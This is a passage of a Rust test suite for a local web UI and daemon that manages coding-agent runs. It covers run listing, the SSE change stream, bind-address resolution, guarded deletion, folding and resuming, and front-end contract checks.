4438        // The successor's whole job, and the one thing it cannot do while this
4439        // process still holds the socket.
4440        let bound = std::sync::Mutex::new(None);
4441        hand_over(&looping, served, || {
4442            let attempt = std::net::TcpListener::bind(addr).map_err(|e| e.to_string());
4443            *bound.lock().expect("bound") = Some(attempt);
4444            Ok(())
4445        })
4446        .await
4447        .expect("hand over");
4448
4449        assert_eq!(
4450            *PARK_HEARD.lock().expect("park heard"),
4451            Some(200),
4452            "the deck must answer while the loop is parking"
4453        );
4454        let attempt = bound
4455            .lock()
4456            .expect("bound")
4457            .take()
4458            .expect("the successor was started");
4459        assert!(
4460            attempt.is_ok(),
4461            "and the address must be free by the time it is: {attempt:?}"
4462        );
4463    }
4464
4465    #[tokio::test]
4466    async fn a_newer_daemon_status_file_still_renders() {
4467        let f = Fixture::start().await;
4468        // A field this build has never heard of must not turn the status line
4469        // into a 500; that is the whole reason the reader is permissive.
4470        std::fs::write(
4471            f.home.path().join("daemon.json"),
4472            serde_json::json!({
4473                "schema": 2,
4474                "updated_at": Timestamp::now().to_string(),
4475                "idle": true,
4476                "surprise": { "nested": [1, 2, 3] },
4477            })
4478            .to_string(),
4479        )
4480        .expect("write daemon.json");
4481
4482        let health = f.get("/api/health").await;
4483
4484        assert_eq!(health.status, 200);
4485        assert_eq!(health.json()["daemon"]["running"], true);
4486    }
4487
4488    #[tokio::test]
4489    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
4490        let f = Fixture::start().await;
4491        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
4492        let broken = f.runs().join("20260902-140502-bad");
4493        std::fs::create_dir_all(&broken).expect("run dir");
4494        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
4495
4496        let list = f.get("/api/runs").await;
4497        let detail = f.get("/api/runs/20260902-140502-bad").await;
4498
4499        assert_eq!(list.status, 200);
4500        let listed = list.json();
4501        let ids: Vec<&str> = listed
4502            .as_array()
4503            .expect("an array")
4504            .iter()
4505            .map(|r| r["id"].as_str().expect("an id"))
4506            .collect();
4507        assert_eq!(
4508            ids,
4509            vec!["20260902-140501-good"],
4510            "one unreadable run must not cost the operator the whole history"
4511        );
4512        assert_eq!(detail.status, 500);
4513        assert!(
4514            detail.json()["error"]
4515                .as_str()
4516                .is_some_and(|e| e.contains("run.json")),
4517            "the failure names the file to look at: {}",
4518            detail.body
4519        );
4520        // A skipped run has to be countable somewhere, or the UI shows an
4521        // empty history with nothing to explain it - which is exactly what a
4522        // directory full of older-schema runs looks like.
4523        let health = f.get("/api/health").await;
4524        assert_eq!(health.json()["runs_unreadable"], 1);
4525    }
4526
4527    #[tokio::test]
4528    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
4529        let f = Fixture::start().await;
4530        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
4531
4532        let summary = f.get("/api/runs").await.json();
4533        let row = &summary[0];
4534        assert_eq!(row["short"], "a1b2");
4535        assert_eq!(row["status"], "ready");
4536        assert_eq!(row["done"], true);
4537        assert_eq!(row["title"], "Add a web UI");
4538        assert_eq!(row["repo_name"], "magi");
4539        assert_eq!(row["judges"], 3);
4540        assert_eq!(row["winner"], Value::Null);
4541        assert_eq!(row["reviews"], 0);
4542
4543        // The short id resolves, and the detail route is the state itself, not
4544        // a projection of it: the UI reads fields the summary does not carry.
4545        let detail = f.get("/api/runs/a1b2").await;
4546        assert_eq!(detail.status, 200);
4547        assert_eq!(detail.json()["base_branch"], "main");
4548        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
4549    }
4550
4551    #[tokio::test]
4552    async fn the_run_list_is_newest_first_and_honours_a_limit() {
4553        let f = Fixture::start().await;
4554        for id in [
4555            "20260902-140501-aaaa",
4556            "20260902-140502-bbbb",
4557            "20260902-140503-cccc",
4558        ] {
4559            write_run(&f.runs(), id, RunStatus::Merged);
4560        }
4561
4562        let all = f.get("/api/runs").await.json();
4563        let capped = f.get("/api/runs?limit=2").await.json();
4564
4565        assert_eq!(all[0]["id"], "20260902-140503-cccc");
4566        assert_eq!(all.as_array().map(Vec::len), Some(3));
4567        assert_eq!(capped.as_array().map(Vec::len), Some(2));
4568        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
4569    }
4570
4571    #[tokio::test]
4572    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
4573        let f = Fixture::start().await;
4574        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
4575
4576        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
4577
4578        assert_eq!(res.status, 200);
4579        assert!(
4580            res.headers
4581                .contains("content-type: text/plain; charset=utf-8"),
4582            "a browser must render it, not download it: {}",
4583            res.headers
4584        );
4585        // The assertion is on content, not on the absence of escapes: colour
4586        // is a process-global that `serve` turns off at startup, and another
4587        // test in this binary may own it while this one runs.
4588        assert!(
4589            res.body.contains("20260902-140501-a1b2"),
4590            "the report is about the run that was asked for: {}",
4591            res.body
4592        );
4593    }
4594
4595    #[tokio::test]
4596    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
4597        let f = Fixture::start().await;
4598
4599        let html = f.get("/").await;
4600        let css = f.get("/app.css").await;
4601        let js = f.get("/app.js").await;
4602
4603        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
4604        assert!(
4605            html.headers
4606                .contains("content-type: text/html; charset=utf-8")
4607        );
4608        assert!(css.headers.contains("content-type: text/css"));
4609        assert!(js.headers.contains("content-type: text/javascript"));
4610        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
4611    }
4612
4613    #[tokio::test]
4614    async fn the_change_stream_announces_the_current_revisions_on_connect() {
4615        let f = Fixture::start().await;
4616
4617        let mut socket = tokio::net::TcpStream::connect(f.addr)
4618            .await
4619            .expect("connect");
4620        socket
4621            .write_all(
4622                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
4623            )
4624            .await
4625            .expect("write request");
4626
4627        // Read until the first event arrives rather than to end of stream: the
4628        // stream is endless by design, which is the point of the route.
4629        let mut seen = String::new();
4630        let mut buf = [0u8; 1024];
4631        while !seen.contains("event: change") {
4632            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
4633                .await
4634                .expect("the stream must speak within five seconds")
4635                .expect("read");
4636            assert!(read > 0, "the server closed the change stream: {seen}");
4637            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
4638        }
4639
4640        assert!(
4641            seen.to_lowercase()
4642                .contains("content-type: text/event-stream"),
4643            "the browser only reconnects automatically for a real SSE stream: {seen}"
4644        );
4645        let data = seen
4646            .lines()
4647            .find_map(|l| l.strip_prefix("data:"))
4648            .expect("a data line");
4649        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
4650        assert!(
4651            payload["queue_rev"].is_u64()
4652                && payload["runs_rev"].is_u64()
4653                && payload["questions_rev"].is_u64()
4654                && payload["chats_rev"].is_u64()
4655                && payload["loop_rev"].is_u64(),
4656            "the client needs one revision per store to know what to refetch, \
4657             and `chats_rev` is the only notification a slow interview gets - \
4658             a phone whose radio slept through a turn learns about it here, as \
4659             does one whose operator started the loop from another device: \
4660             {payload}"
4661        );
4662
4663        // The front end re-polls health on a timer and on wake, and takes the
4664        // revisions from that answer whenever the stream is not up. So health
4665        // has to carry every key the stream carries: a phone on a link that
4666        // will not hold an SSE connection is exactly the phone that must still
4667        // notice a question, and a missing key there is not a 500 but a UI
4668        // that quietly stops updating.
4669        let health = f.get("/api/health").await.json();
4670        for key in [
4671            "queue_rev",
4672            "runs_rev",
4673            "questions_rev",
4674            "chats_rev",
4675            "loop_rev",
4676        ] {
4677            assert!(
4678                health[key].is_u64(),
4679                "health is the change stream's fallback and is missing `{key}`: {health}"
4680            );
4681        }
4682    }
4683
4684    #[test]
4685    fn bind_reads_back_from_the_spelling_the_cli_prints() {
4686        // The CLI shows the default in `--help` and parses whatever comes
4687        // back, so the two directions have to agree or `--bind auto` breaks
4688        // the moment someone copies the help text.
4689        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
4690            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
4691        }
4692        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
4693        assert!("everywhere".parse::<Bind>().is_err());
4694    }
4695
4696    #[test]
4697    fn an_explicit_bind_address_is_taken_verbatim() {
4698        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
4699
4700        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
4701
4702        assert_eq!(addr, asked);
4703        assert!(
4704            warning.is_none(),
4705            "an operator who named an address gets no lecture"
4706        );
4707    }
4708
4709    #[test]
4710    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
4711        let (addr, warning) = resolve_bind(&Bind::Auto);
4712
4713        // This has to hold on a CI runner with no `tailscale` and on a dev box
4714        // with one, so the invariant asserted is the one shared by both
4715        // outcomes: the address is either a real tailnet address offered
4716        // without comment, or loopback with an explanation. What must never
4717        // happen is a silent fallback - an operator told "listening on
4718        // 127.0.0.1" with no reason would go looking for a firewall.
4719        match addr {
4720            IpAddr::V4(ip) if is_tailnet(&ip) => {
4721                assert!(warning.is_none(), "a tailnet address needs no warning");
4722            }
4723            other => {
4724                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
4725                let warning = warning.expect("a fallback has to explain itself");
4726                assert!(
4727                    warning.contains("127.0.0.1") && warning.contains("local-only"),
4728                    "the warning says what happened and what it costs: {warning}"
4729                );
4730            }
4731        }
4732    }
4733
4734    #[test]
4735    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
4736        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
4737        // boundary cases are what stop us binding to some other tool's idea of
4738        // an address.
4739        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
4740        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
4741        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
4742        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
4743        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
4744    }
4745
4746    #[test]
4747    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
4748        let ids = vec![
4749            "20260902-140501-aaaa".to_owned(),
4750            "20260902-140502-aabb".to_owned(),
4751        ];
4752
4753        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
4754        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
4755        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
4756
4757        assert_eq!(missing.status, StatusCode::NOT_FOUND);
4758        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
4759        assert_eq!(short, "20260902-140502-aabb");
4760    }
4761    #[tokio::test]
4762    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
4763        // The prompt tells agents to reference attachments by bare filename.
4764        // A document served at `.../panel` resolves `shot.png` against its own
4765        // directory, i.e. `.../shot.png`, which is not the asset route - so a
4766        // panel written exactly as instructed showed broken images. Caught by
4767        // looking at a real one in a browser, not by reading the code.
4768        let fx = Fixture::start().await;
4769        let id = panel(
4770            &fx,
4771            "<img src=\"shot.png\">",
4772            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
4773        );
4774
4775        // The frame's own URL ends in a filename, so its siblings are reachable.
4776        let doc = fx
4777            .get(&format!("/api/questions/{id}/panel/index.html"))
4778            .await;
4779        assert_eq!(doc.status, 200, "{}", doc.body);
4780        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
4781
4782        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
4783        assert_eq!(sibling.status, 200, "{}", sibling.body);
4784        assert_eq!(sibling.header("content-type"), Some("image/png"));
4785        assert_eq!(
4786            sibling.header("content-security-policy"),
4787            Some(PANEL_CSP),
4788            "the sibling route must carry the same policy as the asset route"
4789        );
4790
4791        // The original spelling keeps working: HEAD on it is how the front end
4792        // decides whether to mount a frame at all.
4793        assert_eq!(
4794            fx.head(&format!("/api/questions/{id}/panel")).await.status,
4795            200
4796        );
4797    }
4798
4799    #[test]
4800    fn runs_revision_moves_when_deleting_an_older_run() {
4801        let temp = TempDir::new().expect("tempdir");
4802        let runs = temp.path().join("runs");
4803        std::fs::create_dir_all(&runs).expect("create runs dir");
4804
4805        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
4806
4807        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
4808        std::thread::sleep(Duration::from_millis(10));
4809        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
4810
4811        let rev_before = runs_revision(&runs);
4812        assert!(rev_before > 0);
4813
4814        let old_dir = runs.join("20260901-100000-old1");
4815        std::fs::remove_dir_all(&old_dir).expect("remove old run");
4816
4817        let rev_after = runs_revision(&runs);
4818        assert_ne!(
4819            rev_before, rev_after,
4820            "deleting an older run must change the revision so other clients see the deletion"
4821        );
4822    }
4823
4824    #[tokio::test]
4825    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
4826        let fx = Fixture::start().await;
4827        let q = fx.queue();
4828
4829        // 1. A queued task with runs attached can be deleted.
4830        let mut t1 = Task::new(
4831            "Task 1".to_owned(),
4832            "Instruction 1".to_owned(),
4833            PathBuf::from("/repo"),
4834            Source::Human,
4835        );
4836        let run_id = "20260901-000000-r111";
4837        t1.runs.push(run_id.to_owned());
4838        write_run(&fx.runs(), run_id, RunStatus::Merged);
4839        q.put(&mut t1).expect("put t1");
4840
4841        // Delete by short id
4842        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
4843        assert_eq!(res.status, 204);
4844        assert!(res.body.is_empty(), "204 No Content has no body");
4845        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
4846        assert!(
4847            fx.runs().join(run_id).exists(),
4848            "run directory must not be deleted when its task is deleted"
4849        );
4850
4851        // 2. A task a live daemon is running is refused with 409.
4852        let mut t2 = Task::new(
4853            "Task 2".to_owned(),
4854            "Instruction 2".to_owned(),
4855            PathBuf::from("/repo"),
4856            Source::Human,
4857        );
4858        t2.status = TaskStatus::Running;
4859        q.put(&mut t2).expect("put t2");
4860        let mut beat = crate::daemon::Status::new();
4861        beat.current = Some(crate::daemon::Current {
4862            task: t2.id.clone(),
4863            run: "20260901-000000-r222".to_owned(),
4864        });
4865        beat.updated_at = jiff::Timestamp::now();
4866        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4867            .expect("publish a heartbeat");
4868        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
4869        assert_eq!(res.status, 409);
4870        assert!(
4871            res.json()["error"]
4872                .as_str()
4873                .unwrap()
4874                .contains("live daemon")
4875        );
4876        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
4877
4878        // 3. The same `running` status and an orphaned lock, with no daemon
4879        // behind either, is a leftover and deletable. Before this the phone
4880        // refused it for good: the status never changes on its own and
4881        // nothing drops a lock whose process is gone.
4882        // The daemon is killed: the file stays, the heartbeat stops.
4883        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
4884        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4885            .expect("leave a stale heartbeat");
4886        let mut t3 = Task::new(
4887            "Task 3".to_owned(),
4888            "Instruction 3".to_owned(),
4889            PathBuf::from("/repo"),
4890            Source::Human,
4891        );
4892        t3.status = TaskStatus::Running;
4893        q.put(&mut t3).expect("put t3");
4894        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
4895        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
4896        assert_eq!(res.status, 204);
4897        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
4898        assert!(
4899            q.claim(&t3.id).is_ok(),
4900            "the stale lock went with it, so the id is claimable again"
4901        );
4902
4903        // 4. Missing id returns 404
4904        let res = fx.delete("/api/queue/nonexistent").await;
4905        assert_eq!(res.status, 404);
4906    }
4907
4908    #[tokio::test]
4909    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
4910        let fx = Fixture::start().await;
4911        let runs = fx.runs();
4912
4913        // 1. Finished and folded run can be deleted along with artifacts
4914        let run_id = "20260901-000000-fold";
4915        let mut state = RunState::new(
4916            PathBuf::from("/repo"),
4917            "main".to_owned(),
4918            "abc".to_owned(),
4919            "instruction".to_owned(),
4920            Config::default(),
4921        );
4922        state.id = run_id.to_owned();
4923        state.status = RunStatus::Merged;
4924        state.candidates.push(crate::run::Candidate {
4925            index: 0,
4926            label: 'A',
4927            agent: "a".to_owned(),
4928            branch: "b".to_owned(),
4929            worktree: PathBuf::from("/w"),
4930            summary: String::new(),
4931            stat: String::new(),
4932            files: 1,
4933            commits: 1,
4934            empty: false,
4935            failed: None,
4936            duration_ms: 0,
4937            folded: true,
4938        });
4939        let dir = runs.join(run_id);
4940        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
4941        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
4942            .expect("write artifact");
4943        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
4944            .expect("write run.json");
4945
4946        // Delete by short id
4947        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
4948        assert_eq!(res.status, 204);
4949        assert!(res.body.is_empty(), "204 has no body");
4950        assert!(!dir.exists(), "run directory and artifacts must be deleted");
4951
4952        // 2. A run a live daemon is working on is refused with 409. The
4953        // heartbeat is what makes it refusable: an unfinished run with no
4954        // daemon behind it is a leftover from a killed process, and case 1
4955        // above would otherwise be impossible to tell apart from this one.
4956        let run_running = "20260901-000000-rung";
4957        write_run(&runs, run_running, RunStatus::Prep);
4958        let mut beat = crate::daemon::Status::new();
4959        beat.current = Some(crate::daemon::Current {
4960            task: "20260901-000000-task".to_owned(),
4961            run: run_running.to_owned(),
4962        });
4963        beat.updated_at = jiff::Timestamp::now();
4964        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
4965            .expect("publish a heartbeat");
4966        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
4967        assert_eq!(res.status, 409);
4968        assert!(
4969            res.json()["error"]
4970                .as_str()
4971                .unwrap()
4972                .contains("live daemon"),
4973            "the refusal must say who is holding it"
4974        );
4975        assert!(
4976            runs.join(run_running).exists(),
4977            "a run in flight keeps its directory"
4978        );
4979
4980        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
4981        let run_unfolded = "20260901-000000-unfd";
4982        let mut state2 = RunState::new(
4983            PathBuf::from("/repo"),
4984            "main".to_owned(),
4985            "abc".to_owned(),
4986            "instruction".to_owned(),
4987            Config::default(),
4988        );
4989        state2.id = run_unfolded.to_owned();
4990        state2.status = RunStatus::Ready;
4991        state2.candidates.push(crate::run::Candidate {
4992            index: 0,
4993            label: 'A',
4994            agent: "a".to_owned(),
4995            branch: "b".to_owned(),
4996            worktree: PathBuf::from("/w"),
4997            summary: String::new(),
4998            stat: String::new(),
4999            files: 1,
5000            commits: 1,
5001            empty: false,
5002            failed: None,
5003            duration_ms: 0,
5004            folded: false,
5005        });
5006        let dir2 = runs.join(run_unfolded);
5007        std::fs::create_dir_all(&dir2).expect("create dir2");
5008        std::fs::write(
5009            dir2.join("run.json"),
5010            serde_json::to_string(&state2).unwrap(),
5011        )
5012        .expect("write run.json");
5013
5014        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
5015        assert_eq!(res.status, 409);
5016        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
5017        assert!(dir2.exists(), "unfolded run directory is kept");
5018
5019        // 4. Missing id returns 404
5020        let res = fx.delete("/api/runs/nonexistent").await;
5021        assert_eq!(res.status, 404);
5022    }
5023
5024    #[test]
5025    fn web_ui_delete_contract_in_front_end() {
5026        // 1. API block has both delete endpoints
5027        assert!(APP_JS.contains("deleteRun:"));
5028        assert!(APP_JS.contains("deleteTask:"));
5029
5030        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
5031        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
5032            ..APP_JS.find("function renderRuns").unwrap()];
5033        assert!(!run_cards_slice.to_lowercase().contains("delete"));
5034
5035        // 3. Run detail has delete entry and reasons
5036        assert!(APP_JS.contains("renderRunDelete"));
5037        assert!(APP_JS.contains("runDeleteReason"));
5038        assert!(APP_JS.contains("magi fold"));
5039        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
5040
5041        // 4. Two-step delete arming and focus on Cancel
5042        assert!(APP_JS.contains("cancel.focus"));
5043        assert!(APP_JS.contains("armedRunDelete"));
5044        assert!(APP_JS.contains("armedDelete"));
5045
5046        // 5. Running task has disabled delete
5047        assert!(APP_JS.contains("disabled: status === \"running\""));
5048    }
5049
5050    /// Every element a run card's updater reaches for must be in the `refs`
5051    /// the builder handed it.
5052    ///
5053    /// `createRunCard` builds its elements, appends them to the card, and then
5054    /// lists them again in `row.refs`. That second list is the one the updater
5055    /// uses, and nothing connects the two - an element can be built, appended
5056    /// and rendered, and still be missing from `refs`. `superseded` was, for
5057    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
5058    /// exception took `syncList` with it, and the deck showed
5059    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
5060    /// line is computed before the cards, which is why the failure looked like
5061    /// a server that had lost its runs rather than a front end that had
5062    /// stopped rendering them.
5063    ///
5064    /// A `cargo test` cannot execute the front end, so this reads the two
5065    /// halves out of the source and compares them as sets. It is not a check
5066    /// on the wording of either list: adding an element, renaming one, or
5067    /// reordering them all keeps this passing, and only using one the builder
5068    /// never published fails it.
5069    #[test]
5070    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
5071        let build = APP_JS
5072            .find("function createRunCard")
5073            .expect("createRunCard exists");
5074        let update = APP_JS
5075            .find("function updateRunCard")
5076            .expect("updateRunCard exists");
5077        let end = APP_JS
5078            .find("function renderRuns")
5079            .expect("renderRuns exists");
5080
5081        // The builder's published set: the object literal assigned to `refs`.
5082        let builder = &APP_JS[build..update];
5083        let open = builder.find("refs = {").expect("createRunCard sets refs");
5084        let literal = &builder[open + "refs = {".len()..];
5085        let close = literal.find('}').expect("the refs literal is closed");
5086        let published: HashSet<&str> = literal[..close]
5087            .split(',')
5088            // `name` and `name: value` both bind `name`.
5089            .filter_map(|entry| entry.split(':').next())
5090            .map(str::trim)
5091            .filter(|name| !name.is_empty())
5092            .collect();
5093        assert!(
5094            published.len() > 5,
5095            "the refs literal did not parse into names: {published:?}"
5096        );
5097
5098        // What the updaters reach for: every `r.<name>`, where `r` is the
5099        // `const r = row.refs` alias both functions open with.
5100        let mut used: Vec<&str> = Vec::new();
5101        let updaters = &APP_JS[update..end];
5102        for (at, _) in updaters.match_indices("r.") {
5103            // `r` must be the whole identifier, not the tail of another one
5104            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
5105            let before = updaters[..at].chars().next_back();
5106            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
5107                continue;
5108            }
5109            let rest = &updaters[at + 2..];
5110            let len = rest
5111                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
5112                .unwrap_or(rest.len());
5113            if len > 0 {
5114                used.push(&rest[..len]);
5115            }
5116        }
5117        assert!(
5118            used.len() > 5,
5119            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
5120        );
5121
5122        let missing: Vec<&str> = used
5123            .iter()
5124            .copied()
5125            .filter(|name| !published.contains(name))
5126            .collect();
5127        assert!(
5128            missing.is_empty(),
5129            "a run card's updater reaches for {missing:?}, which `createRunCard` \
5130             never put in `refs` - every card will throw and the list will \
5131             render empty under a count line that says otherwise. Published: \
5132             {published:?}"
5133        );
5134    }
5135
5136    #[tokio::test]
5137    async fn folding_from_the_phone_reports_what_it_removed() {
5138        let fx = Fixture::start().await;
5139        let runs = fx.runs();
5140
5141        // A run with no candidates has nothing to fold, which is a 200 with an
5142        // honest count rather than an error: the operator asked for the trees
5143        // to be gone and they are.
5144        let id = "20260901-000000-fold";
5145        write_run(&runs, id, RunStatus::Stalled);
5146        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5147        assert_eq!(res.status, 200);
5148        assert_eq!(res.json()["removed_count"], 0);
5149        assert_eq!(res.json()["run"], id);
5150        assert!(
5151            runs.join(id).exists(),
5152            "a fold keeps the run's record; only the worktrees go"
5153        );
5154    }
5155
5156    #[tokio::test]
5157    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
5158        let fx = Fixture::start().await;
5159        let runs = fx.runs();
5160        let id = "20260901-000000-live";
5161        write_run(&runs, id, RunStatus::Implementing);
5162
5163        let mut beat = crate::daemon::Status::new();
5164        beat.current = Some(crate::daemon::Current {
5165            task: "20260901-000000-task".to_owned(),
5166            run: id.to_owned(),
5167        });
5168        beat.updated_at = jiff::Timestamp::now();
5169        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5170            .expect("publish a heartbeat");
5171
5172        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
5173        assert_eq!(res.status, 409);
5174        assert!(
5175            res.json()["error"]
5176                .as_str()
5177                .unwrap()
5178                .contains("live daemon"),
5179            "folding under a running agent would pull its worktree away"
5180        );
5181    }
5182
5183    #[tokio::test]
5184    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
5185        let fx = Fixture::start().await;
5186        let runs = fx.runs();
5187
5188        // Only a finished run and a failed one. An *interrupted* run - a
5189        // parked one, or one whose daemon was killed mid-node - is the case
5190        // resuming exists for: run 4043 sat at `reviewing` with the deck
5191        // saying it could not be resumed, which was the one state where
5192        // resuming was the only sensible answer.
5193        for (status, word) in [
5194            (RunStatus::Merged, "merged"),
5195            (RunStatus::Ready, "ready"),
5196            (RunStatus::Failed, "failed"),
5197        ] {
5198            let id = format!("20260901-000000-{}", &word[..4]);
5199            write_run(&runs, &id, status);
5200            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
5201            assert_eq!(res.status, 409, "{word} must not be resumable");
5202            let err = res.json()["error"].as_str().unwrap().to_owned();
5203            assert!(err.contains(word), "the refusal names the status: {err}");
5204        }
5205
5206        // And an interrupted run is accepted: 202, with the resume running in
5207        // the background. `Runner::resume` fails immediately here - the
5208        // fixture's run points at a repository that does not exist - which is
5209        // the point: the handler must not wait for it to find out.
5210        let mid = "20260901-000000-midf";
5211        write_run(&runs, mid, RunStatus::Reviewing);
5212        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
5213        assert_eq!(res.status, 202, "an interrupted run is resumable");
5214    }
5215
5216    #[tokio::test]
5217    async fn resume_is_refused_while_the_loop_is_running() {
5218        let fx = Fixture::start().await;
5219        let runs = fx.runs();
5220        let stalled = "20260901-000000-stal";
5221        write_run(&runs, stalled, RunStatus::Stalled);
5222
5223        // The loop is busy with a *different* run, and that is still a refusal:
5224        // one competition at a time is the point, not one per run.
5225        let mut beat = crate::daemon::Status::new();
5226        beat.current = Some(crate::daemon::Current {
5227            task: "20260901-000000-task".to_owned(),
5228            run: "20260901-000000-othr".to_owned(),
5229        });
5230        beat.updated_at = jiff::Timestamp::now();
5231        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
5232            .expect("publish a heartbeat");
5233
5234        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
5235        assert_eq!(res.status, 409);
5236        let err = res.json()["error"].as_str().unwrap().to_owned();
5237        assert!(err.contains("othr"), "it names what the loop is on: {err}");
5238        assert!(err.contains("one competition at a time"), "{err}");
5239    }
5240
5241    #[test]
5242    fn a_run_cannot_be_resumed_twice_at_once() {
5243        let home = TempDir::new().expect("temp home");
5244        let ui = Ui::new(
5245            Queue::at(home.path().join("queue")),
5246            Questions::at(home.path().join("questions")),
5247            Chats::at(home.path().join("chats")),
5248            home.path().join("runs"),
5249            home.path().to_path_buf(),
5250            PathBuf::from("/repo"),
5251        );
5252        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
5253        let again = ui.begin_resume("20260901-000000-once");
5254        assert!(again.is_err(), "a second tap must not start a second graph");
5255        drop(first);
5256        assert!(
5257            ui.begin_resume("20260901-000000-once").is_ok(),
5258            "and the claim is released when the attempt ends"
5259        );
5260    }
5261
5262    #[test]
5263    fn refreshing_a_conversation_never_navigates_to_it() {
5264        // Reproduced on the deck: send a turn in one conversation, open
5265        // another, and ten seconds later the transcript on screen was the
5266        // first one while the address bar still named the second.
5267        // `tickWait`'s insurance calls `loadChat` for the *waiting* chat, and
5268        // `loadChat` opened by assigning `state.chatDetail`, so a refresh was
5269        // a navigation.
5270        let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
5271            ..APP_JS.find("async function startChat(").expect("startChat")];
5272        assert!(
5273            !body.contains("state.chatDetail = {"),
5274            "loadChat must not decide which conversation is on screen: {body}"
5275        );
5276        assert!(
5277            body.contains("if (state.chatDetail.id !== id) return;"),
5278            "it returns instead of drawing a chat the operator is not reading"
5279        );
5280
5281        // The turn still has to be settled from there, and before that check,
5282        // because the insurance exists for a reply that lands while the
5283        // operator is elsewhere - otherwise the wait strip runs forever.
5284        assert!(
5285            body.find("endTurn(id)") < body.find("if (state.chatDetail.id !== id) return;"),
5286            "settle the turn before the on-screen check"
5287        );
5288
5289        // Choosing the conversation on screen belongs to the router.
5290        let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
5291        assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
5292    }
5293
5294    #[tokio::test]
5295    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
5296        let fx = Fixture::start().await;
